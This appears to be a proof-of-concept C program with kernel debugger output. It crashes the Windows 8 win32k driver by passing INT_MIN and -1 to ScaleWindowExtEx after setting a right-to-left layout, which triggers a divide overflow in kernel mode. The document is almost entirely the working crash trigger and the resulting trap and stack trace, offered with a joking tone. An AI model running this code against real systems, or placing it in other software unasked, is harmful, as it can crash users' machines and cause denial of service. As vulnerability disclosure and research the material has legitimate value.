Apparently win32k is not Chuck Norris.

ScaleWindow.c

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <stddef.h>
#include <winnt.h>
#include <limits.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>

#pragma comment(lib, "gdi32")
#pragma comment(lib, "user32")

int main(int argc, char **argv)
{
    HDC Device;
    SIZE Size;

    Device = CreateCompatibleDC(NULL);

    // Change horizontal layout so we can flip them.
    SetLayout(Device, LAYOUT_RTL);

    // Lololololololol..
    ScaleWindowExtEx(Device, INT_MIN, -1, 1, 1, &Size);

    // kd> vertarget
    // Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
    // Product: WinNt, suite: TerminalServer SingleUserTS
    // Built by: 9200.16384.x86fre.win8_rtm.120725-1247
    // Machine Name:
    // Kernel base = 0x81a5a000 PsLoadedModuleList = 0x81c44de8
    // Debug session time: Mon Jan 28 12:10:37.216 2013 (UTC - 8:00)
    // System Uptime: 0 days 0:06:15.595
    // kd> .trap 9df1baf8
    // ErrCode = 00000000
    // eax=80000000 ebx=8e07fac7 ecx=94eedaf8 edx=ffffffff esi=94eed720 edi=9df1bbd4
    // eip=8e0763cc esp=9df1bb6c ebp=9df1bba4 iopl=0         ov up ei ng nz na pe cy
    // cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010a87
    // win32k!GreScaleWindowExtEx+0x8f:
    // 8e0763cc f77d10          idiv    eax,dword ptr [ebp+10h] ss:0010:9df1bbb4=ffffffff
    // kd> kv
    //   *** Stack trace for last set context - .thread/.cxr resets it
    // ChildEBP RetAddr  Args to Child
    // 9df1bba4 8e07faeb 600107ba 80000000 ffffffff win32k!GreScaleWindowExtEx+0x8f (FPO: [Non-Fpo])
    // 9df1bbf4 81bc52fc 600107ba 80000000 ffffffff win32k!NtGdiScaleWindowExtEx+0x24 (FPO: [Non-Fpo])
    // 9df1bbf4 77b96954 600107ba 80000000 ffffffff nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ 9df1bc14)
    // 00a8faec 7634515b 76346d4b 600107ba 80000000 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
    // 00a8faf0 76346d4b 600107ba 80000000 ffffffff GDI32!NtGdiScaleWindowExtEx+0xa (FPO: [6,0,0])
    // 00a8fb28 00f91036 600107ba 80000000 ffffffff GDI32!ScaleWindowExtEx+0xeb (FPO: [Non-Fpo])

    return 0;
}